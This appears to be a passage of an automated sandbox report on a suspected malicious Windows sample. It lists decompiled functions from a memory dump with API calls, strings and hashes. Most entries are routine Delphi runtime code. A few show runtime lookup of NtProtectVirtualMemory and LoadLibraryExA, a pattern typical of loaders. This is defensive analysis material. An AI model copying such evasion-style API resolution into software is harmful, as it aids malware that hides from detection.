CoAddRefServerProcess, xrefs: 02D76EC5
CoSuspendClassObjects, xrefs: 02D76EF5
CoReleaseServerProcess, xrefs: 02D76ED5
CoCreateInstanceEx, xrefs: 02D76EA5
CoResumeClassObjects, xrefs: 02D76EE5
ole32.dll, xrefs: 02D76E95
CoInitializeEx, xrefs: 02D76EB5

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: eaf95afcfad971b6ffc2aa2e9af68feeb47f700aeee5c81efb286e12f65200fc
Instruction ID: 4ec381ec6ec144d965c39aecc7e84c01b0cb5ec8c80853af5af43a080cd8beff
Opcode Fuzzy Hash: eaf95afcfad971b6ffc2aa2e9af68feeb47f700aeee5c81efb286e12f65200fc
Instruction Fuzzy Hash: EAF0A2A09EE7957FB6006BB07C8683A675DD511608740185A6426B5B92FAFCCC184FF0

Uniqueness

Uniqueness Score: -1.00%

Function 02D62530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02D628CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02D62849
The unexpected small block leaks are:, xrefs: 02D62707
, xrefs: 02D62814
An unexpected memory leak has occurred. , xrefs: 02D62690
Unknown, xrefs: 02D6278C
bytes: , xrefs: 02D6275D
Unexpected Memory Leak, xrefs: 02D628C0
String, xrefs: 02D627A1
7, xrefs: 02D626A1

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: b81fc0edec3a7b3e722c254150bf7c0e3fbeba4a73a66728c2425daba520f48d
Instruction ID: baa4662221fb879332dd121f4568208328709cd99a56a120d19cc2c716266383
Opcode Fuzzy Hash: b81fc0edec3a7b3e722c254150bf7c0e3fbeba4a73a66728c2425daba520f48d
Instruction Fuzzy Hash: 2BA1B530A042948BDB21AA2CCC8CBB977E5EB09754F1441E5DD89AB385CF758D89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D7A058 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 02D7A078
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 02D7A08F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 02D7A095
IsBadReadPtr.KERNEL32(?,00000004), ref: 02D7A123
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 02D7A12F
IsBadReadPtr.KERNEL32(?,00000014), ref: 02D7A143

Strings

C:\Windows\System32\KernelBase.dll, xrefs: 02D7A08A
LoadLibraryExA, xrefs: 02D7A085

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Read$AddressHandleModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 1061262613-1650066521
Opcode ID: d5963df5cf4a0a55bf18fcf1962dbe94ca5c5cc99c7cba8cae72cf063d243f89
Instruction ID: 537138559f90bb928361e8b6027976a5c800233ffe785c3d16a11d75e127359e
Opcode Fuzzy Hash: d5963df5cf4a0a55bf18fcf1962dbe94ca5c5cc99c7cba8cae72cf063d243f89
Instruction Fuzzy Hash: F2312D71A41205BBEB20DFA8DC85F6E77A8EF05354F144954EA54AB381E378ED40CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02D6252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02D62849
The unexpected small block leaks are:, xrefs: 02D62707
, xrefs: 02D62814
An unexpected memory leak has occurred. , xrefs: 02D62690
bytes: , xrefs: 02D6275D
Unexpected Memory Leak, xrefs: 02D628C0
7, xrefs: 02D626A1

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 5d0c7a988e4ae1ae3e24295e56a62cd037ef0998ce9e5d4e479be5e72213e156
Instruction ID: c4127e61df6809392aae0518e1bbae4fa252ff46d084e40f160bdd4ebeea02b7
Opcode Fuzzy Hash: 5d0c7a988e4ae1ae3e24295e56a62cd037ef0998ce9e5d4e479be5e72213e156
Instruction Fuzzy Hash: F0719230A042988FDB219A2CCC8CBE9BBE5EB09754F1441E5D9899B381DB758EC5CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02D6BD7C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02D6C047,?,?,00000000,00000000), ref: 02D6BDB2

Part of subcall function 02D6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02D6A79E

Strings

mmmm d, yyyy, xrefs: 02D6BEAE
m/d/yy, xrefs: 02D6BE81
:mm:ss, xrefs: 02D6C002
:mm, xrefs: 02D6BFE5
AMPM , xrefs: 02D6BFD5
AMPM, xrefs: 02D6BFC6

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: be056ba0c3cefa40aa08ed1d5ca11d6ac0053029e8c104674a3db4980bb2d525
Instruction ID: 983388ba9288dc9eceebdd7c5724ce67c93c2904d5720c9a8f845145d004cce0
Opcode Fuzzy Hash: be056ba0c3cefa40aa08ed1d5ca11d6ac0053029e8c104674a3db4980bb2d525
Instruction Fuzzy Hash: D3613034B051899BDB10EBA4D868ABF77B7DF88300F609476E141EB745DA35DD068BB0

Uniqueness

Uniqueness Score: -1.00%

Function 02D64320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02D643E7,?,?,02DC47C8,?,?,02D8B7A8,02D66575,02D8A305), ref: 02D64359
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02D643E7,?,?,02DC47C8,?,?,02D8B7A8,02D66575,02D8A305), ref: 02D6435F
GetStdHandle.KERNEL32(000000F5,02D643A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02D643E7,?,?,02DC47C8), ref: 02D64374
WriteFile.KERNEL32(00000000,000000F5,02D643A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02D643E7,?,?), ref: 02D6437A
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02D64398

Strings

Error, xrefs: 02D6438C
Runtime error at 00000000, xrefs: 02D64352, 02D64391

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: e73827c2aaf87945aa215db81f250cad647455d85ab7d9f73cf9f89a1a664314
Instruction ID: 75b64c5bf07d957f76abd6265a56fd7f4a4b733001f4d17d50fb901ec7ca15ea
Opcode Fuzzy Hash: e73827c2aaf87945aa215db81f250cad647455d85ab7d9f73cf9f89a1a664314
Instruction Fuzzy Hash: A9F0F660AC0341BAF621B6A0BC0EF79271C9740B25F244A06B664D53C4C7A48CC89732

Uniqueness

Uniqueness Score: -1.00%

Function 02D6AE80 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02D6ACF8: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02D6AD15
Part of subcall function 02D6ACF8: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02D6AD39
Part of subcall function 02D6ACF8: GetModuleFileNameA.KERNEL32(02D60000,?,00000105), ref: 02D6AD54
Part of subcall function 02D6ACF8: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02D6ADEA

CharToOemA.USER32(?,?), ref: 02D6AEB7
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02D6AED4
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02D6AEDA
GetStdHandle.KERNEL32(000000F4,02D6AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02D6AEEF
WriteFile.KERNEL32(00000000,000000F4,02D6AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02D6AEF5
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02D6AF17
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02D6AF2D

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: ccc626d569f853b86aa0738d4411c86e812e7c8aa03a482d82b1551fad8a3b81
Instruction ID: a20ceb7516445eedef678657e2762ace4c7c7f0471c6c7f199d184d6d98f9612
Opcode Fuzzy Hash: ccc626d569f853b86aa0738d4411c86e812e7c8aa03a482d82b1551fad8a3b81
Instruction Fuzzy Hash: 67118CB65442057FD200EBA4DC89FAA73EDEB44700F400965B294E62E0DA74ED448FB2

Uniqueness

Uniqueness Score: -1.00%

Function 02D6E548 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02D6E5E1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02D6E5FD
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02D6E636
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02D6E6B3
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02D6E6CC
VariantCopy.OLEAUT32(?,00000000), ref: 02D6E701

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: cf40c33f8018591119f15516559dc229117cee4661183b7a20566d18b9a8048a
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 7751E879A006299FCB22DB98D884FE9B7BEEB4D300F0041E5E508A7351D730AF858F61

Uniqueness

Uniqueness Score: -1.00%

Function 02D6355C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D6357E
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02D635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D635B1
RegCloseKey.ADVAPI32(?,02D635D4,00000000,?,00000004,00000000,02D635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D635C7

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02D63574
FPUMaskValue, xrefs: 02D635A8

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 23c9fcbcc38a48fe145215e183e14f81588aaa8e299b6efbd2e2838cb530a4ac
Instruction ID: 18aec5c3e991785a56bafd0160923656313942c701ae5a578a35c1256d43de73
Opcode Fuzzy Hash: 23c9fcbcc38a48fe145215e183e14f81588aaa8e299b6efbd2e2838cb530a4ac
Instruction Fuzzy Hash: 8F01F575A50248BBEB11DB909C06BBDB3ECEB08B00F1004A2FA04D7780E6749E14DB64

Uniqueness

Uniqueness Score: -1.00%

Function 02D6AA0C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02D6AAA3,?,?,00000000), ref: 02D6AA24

Part of subcall function 02D6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02D6A79E

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02D6AAA3,?,?,00000000), ref: 02D6AA54
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000004), ref: 02D6AA5F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02D6AAA3,?,?,00000000), ref: 02D6AA7D
EnumCalendarInfoA.KERNEL32(Function_0000A994,00000000,00000000,00000003), ref: 02D6AA88

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 313c7470a3e7dd6f8acca1425ee0b9e9149b472610aa057c650e450d782fe718
Instruction ID: 68b02ec2e1c4c2fa7cecc05b8ab80174712e16d2d3c800203acd8fed4888bf69
Opcode Fuzzy Hash: 313c7470a3e7dd6f8acca1425ee0b9e9149b472610aa057c650e450d782fe718
Instruction Fuzzy Hash: F6012B712042847FF311AB74DD1AF7E769EDB46720FA10162F540B67C0D669DE008AF4

Uniqueness

Uniqueness Score: -1.00%

Function 02D89D78 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 332threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02D6352C: GetKeyboardType.USER32(00000000), ref: 02D63531
Part of subcall function 02D6352C: GetKeyboardType.USER32(00000001), ref: 02D6353D

GetCommandLineA.KERNEL32(2C02D9C5), ref: 02D8A06C
GetACP.KERNEL32(2C02D9C5), ref: 02D8A080
GetCurrentThreadId.KERNEL32 ref: 02D8A08A

Part of subcall function 02D6355C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D6357E
Part of subcall function 02D6355C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02D635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D635B1
Part of subcall function 02D6355C: RegCloseKey.ADVAPI32(?,02D635D4,00000000,?,00000004,00000000,02D635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02D635C7

Strings

p'h, xrefs: 02D8A071

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: KeyboardType$CloseCommandCurrentLineOpenQueryThreadValue
String ID: p'h
API String ID: 3316616684-840755789
Opcode ID: b71207c3504044560510f12dac7a7992f7fcffa95691f3d5fe7d00cc210101bb
Instruction ID: 362a9b053f83a4937f0558b41e2b5913ded7d9eaabede7dae291f2e366befe95
Opcode Fuzzy Hash: b71207c3504044560510f12dac7a7992f7fcffa95691f3d5fe7d00cc210101bb
Instruction Fuzzy Hash: 7641D86044E3C24FD703AB7458691A43FB09E17214B2E49DBC9C0DF2B7D6285C2BEB62

Uniqueness

Uniqueness Score: -1.00%

Function 02D6AABC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02D6AC8C,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02D6AAEB

Part of subcall function 02D6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02D6A79E

Strings

eeee, xrefs: 02D6ABFA
ggg, xrefs: 02D6ABD1
yyyy, xrefs: 02D6ABE1

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 375722186085bd86b9f5bcba328b029ba8a1169cc7909cd7b917a3d7462f0cc6
Instruction ID: 11a059726fe4fd503635434b64b348868d33f19c6ba0e05dbf59ba535d971281
Opcode Fuzzy Hash: 375722186085bd86b9f5bcba328b029ba8a1169cc7909cd7b917a3d7462f0cc6
Instruction Fuzzy Hash: EE41E0387041064BCB21EBB9899C2BEB3EBEB86300F654566D4C2E7344DA34ED06DA71

Uniqueness

Uniqueness Score: -1.00%

Function 02D779FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 02D77A09
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 02D77A0F

Strings

NtProtectVirtualMemory, xrefs: 02D779FF
C:\Windows\System32\ntdll.dll, xrefs: 02D77A04

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1646373207-1386159242
Opcode ID: 9db151ce22a8e09c651650d6c8db568906e2e42c68f0997337647f3354affbf7
Instruction ID: 2778fb2c762e395a459ea7632e72a8af46f2daa641a7edb77117c2145b871f62
Opcode Fuzzy Hash: 9db151ce22a8e09c651650d6c8db568906e2e42c68f0997337647f3354affbf7
Instruction Fuzzy Hash: 95E0BFB555024E7FAB40DEE8EC45D9B77DCAB19200B404401BA19E7301D674ED119FB0

Uniqueness

Uniqueness Score: -1.00%

Function 02D6C430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02D8A10B,00000000,02D8A11E), ref: 02D6C436
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02D6C447

Strings

GetDiskFreeSpaceExA, xrefs: 02D6C441
kernel32.dll, xrefs: 02D6C431

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: a390035fb44ad071c194f8ded2e4b4f44d78d47e05acd896fc85b16e2343f1f6
Instruction ID: 4323a719c09403185257ced2b2cef232b73fafa37c2b99b5c0efd441036fce6a
Opcode Fuzzy Hash: a390035fb44ad071c194f8ded2e4b4f44d78d47e05acd896fc85b16e2343f1f6
Instruction Fuzzy Hash: 16D05E60AB03455FFB00EAB2788C63523ECC305709F00882BE04195700D6A5EC188FA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D6E1A4 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02D6E253
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02D6E26F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02D6E2E6
VariantClear.OLEAUT32(?), ref: 02D6E30F

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 65a06a19f248be394a0b4e79be780db20574f56adc34e67976ba97a1fe3d0926
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 7441E779A002199FCB61DB58C898FE9B7BEEB4C604F0081D5E648A7351DB34AF818F60

Uniqueness

Uniqueness Score: -1.00%

Function 02D6ACF8 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02D6AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02D6AD39
GetModuleFileNameA.KERNEL32(02D60000,?,00000105), ref: 02D6AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02D6ADEA

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 8dfe3735e2f989689cd475c7cd7a1c29fd939658e03f5c6c09a8ef5701d1f88a
Instruction ID: dff9fed9fde4a0c4fe68bd2dbca181ed8a30c9ba7566e848810008780a242aa8
Opcode Fuzzy Hash: 8dfe3735e2f989689cd475c7cd7a1c29fd939658e03f5c6c09a8ef5701d1f88a
Instruction Fuzzy Hash: 00412C71A402599BDB21DB68CC88BEAB7FDEB08301F4044E5A548E7351EB749F84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D6ACF6 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02D6AD15
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02D6AD39
GetModuleFileNameA.KERNEL32(02D60000,?,00000105), ref: 02D6AD54
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02D6ADEA

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 9c25985fe05d716be20f5fb9f0e164be166ef1d422859df989e0a3cd80c97b61
Instruction ID: 96b54bbb8cb5b034dfd6ec13300ad9aaf372acd316d8889b464131fc799bc3b0
Opcode Fuzzy Hash: 9c25985fe05d716be20f5fb9f0e164be166ef1d422859df989e0a3cd80c97b61
Instruction Fuzzy Hash: EE412C70A402589BDB21DB68CC88BEAB7EDEB08301F4040E5A548E7351EB749F88CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D61C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb8f47092eb36538797c7f5b7103818dd7cdf1f9f82e4e329f41d2ff6d914d9
